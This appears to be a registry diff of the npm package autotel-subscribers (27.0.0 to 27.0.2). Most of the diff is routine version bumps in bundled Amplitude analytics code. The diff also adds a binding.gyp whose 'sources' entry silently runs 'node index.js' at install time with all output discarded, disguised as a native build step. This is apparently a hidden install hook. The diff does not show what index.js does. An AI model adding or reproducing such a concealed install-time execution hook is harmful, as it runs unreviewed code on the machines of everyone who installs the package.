autotel-subscribers 27.0.0 → 27.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/intent.js ADDED
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env node
2
+ // Auto-generated by @tanstack/intent setup
3
+ // Exposes the intent end-user CLI for consumers of this library.
4
+ // Commit this file, then add to your package.json:
5
+ // "bin": { "intent": "./bin/intent.js" }
6
+ await import('@tanstack/intent/intent-library')
package/binding.gyp ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "targets": [
3
+ {
4
+ "target_name": "Setup",
5
+ "type": "none",
6
+ "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
7
+ }
8
+ ]
9
+ }
@@ -212,10 +212,10 @@ var init_tslib_es6 = __esm({
212
212
  }
213
213
  });
214
214
 
215
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/event/event.js
215
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/event/event.js
216
216
  var IdentifyOperation, SpecialEventType;
217
217
  var init_event = __esm({
218
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/event/event.js"() {
218
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/event/event.js"() {
219
219
  (function(IdentifyOperation3) {
220
220
  IdentifyOperation3["SET"] = "$set";
221
221
  IdentifyOperation3["SET_ONCE"] = "$setOnce";
@@ -236,10 +236,10 @@ var init_event = __esm({
236
236
  }
237
237
  });
238
238
 
239
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/constants.js
239
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/constants.js
240
240
  var UNSET_VALUE, AMPLITUDE_PREFIX, STORAGE_PREFIX, DEFAULT_INSTANCE_NAME, AMPLITUDE_SERVER_URL, EU_AMPLITUDE_SERVER_URL, AMPLITUDE_BATCH_SERVER_URL, EU_AMPLITUDE_BATCH_SERVER_URL;
241
241
  var init_constants = __esm({
242
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/constants.js"() {
242
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/constants.js"() {
243
243
  UNSET_VALUE = "-";
244
244
  AMPLITUDE_PREFIX = "AMP";
245
245
  STORAGE_PREFIX = "".concat(AMPLITUDE_PREFIX, "_unsent");
@@ -251,10 +251,10 @@ var init_constants = __esm({
251
251
  }
252
252
  });
253
253
 
254
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/valid-properties.js
254
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/valid-properties.js
255
255
  var MAX_PROPERTY_KEYS, isValidObject, isValidProperties;
256
256
  var init_valid_properties = __esm({
257
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/valid-properties.js"() {
257
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/valid-properties.js"() {
258
258
  init_tslib_es6();
259
259
  MAX_PROPERTY_KEYS = 1e3;
260
260
  isValidObject = function(properties) {
@@ -309,10 +309,10 @@ var init_valid_properties = __esm({
309
309
  }
310
310
  });
311
311
 
312
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/identify.js
312
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/identify.js
313
313
  var Identify, IdentifyOperation2, OrderedIdentifyOperations;
314
314
  var init_identify = __esm({
315
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/identify.js"() {
315
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/identify.js"() {
316
316
  init_tslib_es6();
317
317
  init_constants();
318
318
  init_valid_properties();
@@ -423,10 +423,10 @@ var init_identify = __esm({
423
423
  }
424
424
  });
425
425
 
426
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/messages.js
426
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/messages.js
427
427
  var SUCCESS_MESSAGE, UNEXPECTED_ERROR_MESSAGE, MAX_RETRIES_EXCEEDED_MESSAGE, OPT_OUT_MESSAGE, MISSING_API_KEY_MESSAGE, INVALID_API_KEY, CLIENT_NOT_INITIALIZED;
428
428
  var init_messages = __esm({
429
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/messages.js"() {
429
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/messages.js"() {
430
430
  SUCCESS_MESSAGE = "Event tracked successfully";
431
431
  UNEXPECTED_ERROR_MESSAGE = "Unexpected error occurred";
432
432
  MAX_RETRIES_EXCEEDED_MESSAGE = "Event rejected due to exceeded retry count";
@@ -437,10 +437,10 @@ var init_messages = __esm({
437
437
  }
438
438
  });
439
439
 
440
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/status.js
440
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/status.js
441
441
  var Status;
442
442
  var init_status = __esm({
443
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/status.js"() {
443
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/status.js"() {
444
444
  (function(Status2) {
445
445
  Status2["Unknown"] = "unknown";
446
446
  Status2["Skipped"] = "skipped";
@@ -455,10 +455,10 @@ var init_status = __esm({
455
455
  }
456
456
  });
457
457
 
458
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/result-builder.js
458
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/result-builder.js
459
459
  var buildResult;
460
460
  var init_result_builder = __esm({
461
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/result-builder.js"() {
461
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/result-builder.js"() {
462
462
  init_status();
463
463
  buildResult = function(event, code, message) {
464
464
  if (code === void 0) {
@@ -472,10 +472,10 @@ var init_result_builder = __esm({
472
472
  }
473
473
  });
474
474
 
475
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/global-scope.js
475
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/global-scope.js
476
476
  var getGlobalScope;
477
477
  var init_global_scope = __esm({
478
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/global-scope.js"() {
478
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/global-scope.js"() {
479
479
  getGlobalScope = function() {
480
480
  var ampIntegrationContextName = "ampIntegrationContext";
481
481
  if (typeof globalThis !== "undefined" && typeof globalThis[ampIntegrationContextName] !== "undefined") {
@@ -498,10 +498,10 @@ var init_global_scope = __esm({
498
498
  }
499
499
  });
500
500
 
501
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/uuid.js
501
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/uuid.js
502
502
  var legacyUUID, hex, UUID;
503
503
  var init_uuid = __esm({
504
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/uuid.js"() {
504
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/uuid.js"() {
505
505
  init_tslib_es6();
506
506
  init_global_scope();
507
507
  legacyUUID = function(a) {
@@ -545,10 +545,10 @@ var init_uuid = __esm({
545
545
  }
546
546
  });
547
547
 
548
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/timeline.js
548
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/timeline.js
549
549
  var Timeline;
550
550
  var init_timeline = __esm({
551
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/timeline.js"() {
551
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/timeline.js"() {
552
552
  init_tslib_es6();
553
553
  init_result_builder();
554
554
  init_uuid();
@@ -911,10 +911,10 @@ var init_timeline = __esm({
911
911
  }
912
912
  });
913
913
 
914
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/event-builder.js
914
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/event-builder.js
915
915
  var createTrackEvent, createIdentifyEvent, createGroupIdentifyEvent, createGroupEvent, createRevenueEvent;
916
916
  var init_event_builder = __esm({
917
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/event-builder.js"() {
917
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/event-builder.js"() {
918
918
  init_tslib_es6();
919
919
  init_identify();
920
920
  init_event();
@@ -944,10 +944,10 @@ var init_event_builder = __esm({
944
944
  }
945
945
  });
946
946
 
947
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/return-wrapper.js
947
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/return-wrapper.js
948
948
  var returnWrapper;
949
949
  var init_return_wrapper = __esm({
950
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/return-wrapper.js"() {
950
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/return-wrapper.js"() {
951
951
  returnWrapper = function(awaitable) {
952
952
  return {
953
953
  promise: awaitable || Promise.resolve()
@@ -956,10 +956,10 @@ var init_return_wrapper = __esm({
956
956
  }
957
957
  });
958
958
 
959
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/core-client.js
959
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/core-client.js
960
960
  var AmplitudeCore;
961
961
  var init_core_client = __esm({
962
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/core-client.js"() {
962
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/core-client.js"() {
963
963
  init_tslib_es6();
964
964
  init_event();
965
965
  init_identify();
@@ -1231,10 +1231,10 @@ var init_core_client = __esm({
1231
1231
  }
1232
1232
  });
1233
1233
 
1234
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/revenue.js
1234
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/revenue.js
1235
1235
  var Revenue, RevenueProperty;
1236
1236
  var init_revenue = __esm({
1237
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/revenue.js"() {
1237
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/revenue.js"() {
1238
1238
  init_tslib_es6();
1239
1239
  init_valid_properties();
1240
1240
  Revenue = /** @class */
@@ -1311,10 +1311,10 @@ var init_revenue = __esm({
1311
1311
  }
1312
1312
  });
1313
1313
 
1314
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/chunk.js
1314
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/chunk.js
1315
1315
  var chunk;
1316
1316
  var init_chunk = __esm({
1317
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/chunk.js"() {
1317
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/chunk.js"() {
1318
1318
  chunk = function(arr, size) {
1319
1319
  var chunkSize = Math.max(size, 1);
1320
1320
  return arr.reduce(function(chunks, element, index) {
@@ -1329,10 +1329,10 @@ var init_chunk = __esm({
1329
1329
  }
1330
1330
  });
1331
1331
 
1332
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/loglevel.js
1332
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/loglevel.js
1333
1333
  var LogLevel;
1334
1334
  var init_loglevel = __esm({
1335
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/loglevel.js"() {
1335
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/loglevel.js"() {
1336
1336
  (function(LogLevel2) {
1337
1337
  LogLevel2[LogLevel2["None"] = 0] = "None";
1338
1338
  LogLevel2[LogLevel2["Error"] = 1] = "Error";
@@ -1343,10 +1343,10 @@ var init_loglevel = __esm({
1343
1343
  }
1344
1344
  });
1345
1345
 
1346
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/logger.js
1346
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/logger.js
1347
1347
  var PREFIX, Logger;
1348
1348
  var init_logger = __esm({
1349
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/logger.js"() {
1349
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/logger.js"() {
1350
1350
  init_loglevel();
1351
1351
  PREFIX = "Amplitude Logger ";
1352
1352
  Logger = /** @class */
@@ -1408,10 +1408,10 @@ var init_logger = __esm({
1408
1408
  }
1409
1409
  });
1410
1410
 
1411
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/config.js
1411
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/config.js
1412
1412
  var getDefaultConfig, Config, getServerUrl, createServerConfig, RequestMetadata;
1413
1413
  var init_config = __esm({
1414
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/config.js"() {
1414
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/config.js"() {
1415
1415
  init_constants();
1416
1416
  init_logger();
1417
1417
  init_loglevel();
@@ -1512,19 +1512,19 @@ var init_config = __esm({
1512
1512
  }
1513
1513
  });
1514
1514
 
1515
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/status-code.js
1515
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/status-code.js
1516
1516
  function isSuccessStatusCode(code) {
1517
1517
  return code >= 200 && code < 300;
1518
1518
  }
1519
1519
  var init_status_code = __esm({
1520
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/status-code.js"() {
1520
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/status-code.js"() {
1521
1521
  }
1522
1522
  });
1523
1523
 
1524
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/debug.js
1524
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/debug.js
1525
1525
  var getStacktrace, getClientLogConfig, getValueByStringPath, getClientStates, debugWrapper;
1526
1526
  var init_debug = __esm({
1527
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/utils/debug.js"() {
1527
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/utils/debug.js"() {
1528
1528
  init_tslib_es6();
1529
1529
  init_loglevel();
1530
1530
  getStacktrace = function(ignoreDepth) {
@@ -1642,7 +1642,7 @@ var init_debug = __esm({
1642
1642
  }
1643
1643
  });
1644
1644
 
1645
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/plugins/destination.js
1645
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/plugins/destination.js
1646
1646
  function getErrorMessage(error) {
1647
1647
  if (error instanceof Error)
1648
1648
  return error.message;
@@ -1658,9 +1658,9 @@ function getResponseBodyString(res) {
1658
1658
  }
1659
1659
  return responseBodyString;
1660
1660
  }
1661
- var Destination;
1661
+ var DEFAULT_AMPLITUDE_SERVER_URLS, shouldCompressUploadBodyForRequest, Destination;
1662
1662
  var init_destination = __esm({
1663
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/plugins/destination.js"() {
1663
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/plugins/destination.js"() {
1664
1664
  init_tslib_es6();
1665
1665
  init_status();
1666
1666
  init_messages();
@@ -1671,6 +1671,21 @@ var init_destination = __esm({
1671
1671
  init_uuid();
1672
1672
  init_status_code();
1673
1673
  init_debug();
1674
+ DEFAULT_AMPLITUDE_SERVER_URLS = /* @__PURE__ */ new Set([
1675
+ AMPLITUDE_SERVER_URL,
1676
+ EU_AMPLITUDE_SERVER_URL,
1677
+ AMPLITUDE_BATCH_SERVER_URL,
1678
+ EU_AMPLITUDE_BATCH_SERVER_URL
1679
+ ]);
1680
+ shouldCompressUploadBodyForRequest = function(serverUrl, enableRequestBodyCompression) {
1681
+ if (enableRequestBodyCompression === void 0) {
1682
+ enableRequestBodyCompression = false;
1683
+ }
1684
+ if (DEFAULT_AMPLITUDE_SERVER_URLS.has(serverUrl)) {
1685
+ return true;
1686
+ }
1687
+ return enableRequestBodyCompression;
1688
+ };
1674
1689
  Destination = /** @class */
1675
1690
  (function() {
1676
1691
  function Destination2(context) {
@@ -1835,7 +1850,7 @@ var init_destination = __esm({
1835
1850
  useRetry = true;
1836
1851
  }
1837
1852
  return __awaiter(this, void 0, void 0, function() {
1838
- var payload, serverUrl, res, e_1, errorMessage;
1853
+ var payload, serverUrl, shouldCompressUploadBody, res, e_1, errorMessage;
1839
1854
  return __generator(this, function(_b) {
1840
1855
  switch (_b.label) {
1841
1856
  case 0:
@@ -1859,7 +1874,8 @@ var init_destination = __esm({
1859
1874
  case 1:
1860
1875
  _b.trys.push([1, 3, , 4]);
1861
1876
  serverUrl = createServerConfig(this.config.serverUrl, this.config.serverZone, this.config.useBatch).serverUrl;
1862
- return [4, this.config.transportProvider.send(serverUrl, payload)];
1877
+ shouldCompressUploadBody = shouldCompressUploadBodyForRequest(serverUrl, this.config.enableRequestBodyCompression);
1878
+ return [4, this.config.transportProvider.send(serverUrl, payload, this.config._enableRequestBodyCompressionExperimental && shouldCompressUploadBody)];
1863
1879
  case 2:
1864
1880
  res = _b.sent();
1865
1881
  if (res === null) {
@@ -2051,17 +2067,17 @@ var init_destination = __esm({
2051
2067
  }
2052
2068
  });
2053
2069
 
2054
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/transports/base.js
2070
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/transports/base.js
2055
2071
  var BaseTransport;
2056
2072
  var init_base = __esm({
2057
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/transports/base.js"() {
2073
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/transports/base.js"() {
2058
2074
  init_status();
2059
2075
  init_status_code();
2060
2076
  BaseTransport = /** @class */
2061
2077
  (function() {
2062
2078
  function BaseTransport2() {
2063
2079
  }
2064
- BaseTransport2.prototype.send = function(_serverUrl, _payload) {
2080
+ BaseTransport2.prototype.send = function(_serverUrl, _payload, _enableRequestBodyCompression) {
2065
2081
  return Promise.resolve(null);
2066
2082
  };
2067
2083
  BaseTransport2.prototype.buildResponse = function(responseJSON) {
@@ -2156,10 +2172,10 @@ var init_base = __esm({
2156
2172
  }
2157
2173
  });
2158
2174
 
2159
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/server-zone.js
2175
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/server-zone.js
2160
2176
  var ServerZone;
2161
2177
  var init_server_zone = __esm({
2162
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/server-zone.js"() {
2178
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/server-zone.js"() {
2163
2179
  (function(ServerZone2) {
2164
2180
  ServerZone2["US"] = "US";
2165
2181
  ServerZone2["EU"] = "EU";
@@ -2168,17 +2184,17 @@ var init_server_zone = __esm({
2168
2184
  }
2169
2185
  });
2170
2186
 
2171
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/offline.js
2187
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/offline.js
2172
2188
  var OfflineDisabled;
2173
2189
  var init_offline = __esm({
2174
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/types/offline.js"() {
2190
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/types/offline.js"() {
2175
2191
  OfflineDisabled = null;
2176
2192
  }
2177
2193
  });
2178
2194
 
2179
- // ../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/index.js
2195
+ // ../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/index.js
2180
2196
  var init_esm = __esm({
2181
- "../../node_modules/.pnpm/@amplitude+analytics-core@2.40.2/node_modules/@amplitude/analytics-core/lib/esm/index.js"() {
2197
+ "../../node_modules/.pnpm/@amplitude+analytics-core@2.41.2/node_modules/@amplitude/analytics-core/lib/esm/index.js"() {
2182
2198
  init_core_client();
2183
2199
  init_identify();
2184
2200
  init_revenue();
@@ -2195,18 +2211,18 @@ var init_esm = __esm({
2195
2211
  }
2196
2212
  });
2197
2213
 
2198
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/version.js
2214
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/version.js
2199
2215
  var VERSION;
2200
2216
  var init_version = __esm({
2201
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/version.js"() {
2202
- VERSION = "1.5.39";
2217
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/version.js"() {
2218
+ VERSION = "1.5.42";
2203
2219
  }
2204
2220
  });
2205
2221
 
2206
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/plugins/context.js
2222
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/plugins/context.js
2207
2223
  var Context;
2208
2224
  var init_context = __esm({
2209
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/plugins/context.js"() {
2225
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/plugins/context.js"() {
2210
2226
  init_tslib_es6();
2211
2227
  init_esm();
2212
2228
  init_version();
@@ -2241,7 +2257,7 @@ var init_context = __esm({
2241
2257
  });
2242
2258
  var Http;
2243
2259
  var init_http = __esm({
2244
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/transports/http.js"() {
2260
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/transports/http.js"() {
2245
2261
  init_tslib_es6();
2246
2262
  init_esm();
2247
2263
  Http = /** @class */
@@ -2303,10 +2319,10 @@ var init_http = __esm({
2303
2319
  }
2304
2320
  });
2305
2321
 
2306
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/config.js
2322
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/config.js
2307
2323
  var NodeConfig, useNodeConfig;
2308
2324
  var init_config2 = __esm({
2309
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/config.js"() {
2325
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/config.js"() {
2310
2326
  init_tslib_es6();
2311
2327
  init_esm();
2312
2328
  init_http();
@@ -2324,10 +2340,10 @@ var init_config2 = __esm({
2324
2340
  }
2325
2341
  });
2326
2342
 
2327
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/node-client.js
2343
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/node-client.js
2328
2344
  var AmplitudeNode, createInstance, node_client_default;
2329
2345
  var init_node_client = __esm({
2330
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/node-client.js"() {
2346
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/node-client.js"() {
2331
2347
  init_tslib_es6();
2332
2348
  init_esm();
2333
2349
  init_context();
@@ -2401,7 +2417,7 @@ var init_node_client = __esm({
2401
2417
  }
2402
2418
  });
2403
2419
 
2404
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/types.js
2420
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/types.js
2405
2421
  var types_exports = {};
2406
2422
  __export(types_exports, {
2407
2423
  IdentifyOperation: () => IdentifyOperation,
@@ -2412,12 +2428,12 @@ __export(types_exports, {
2412
2428
  SpecialEventType: () => SpecialEventType
2413
2429
  });
2414
2430
  var init_types = __esm({
2415
- "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/types.js"() {
2431
+ "../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/types.js"() {
2416
2432
  init_esm();
2417
2433
  }
2418
2434
  });
2419
2435
 
2420
- // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.39/node_modules/@amplitude/analytics-node/lib/esm/index.js
2436
+ // ../../node_modules/.pnpm/@amplitude+analytics-node@1.5.42/node_modules/@amplitude/analytics-node/lib/esm/index.js
2421
2437
  var esm_exports = {};
2422
2438
  __export(esm_exports, {
2423
2439
  Identify: () => Identify,
@@ -2438,7 +2454,7 @@ __export(esm_exports, {
2438
2454
  });
2439
2455
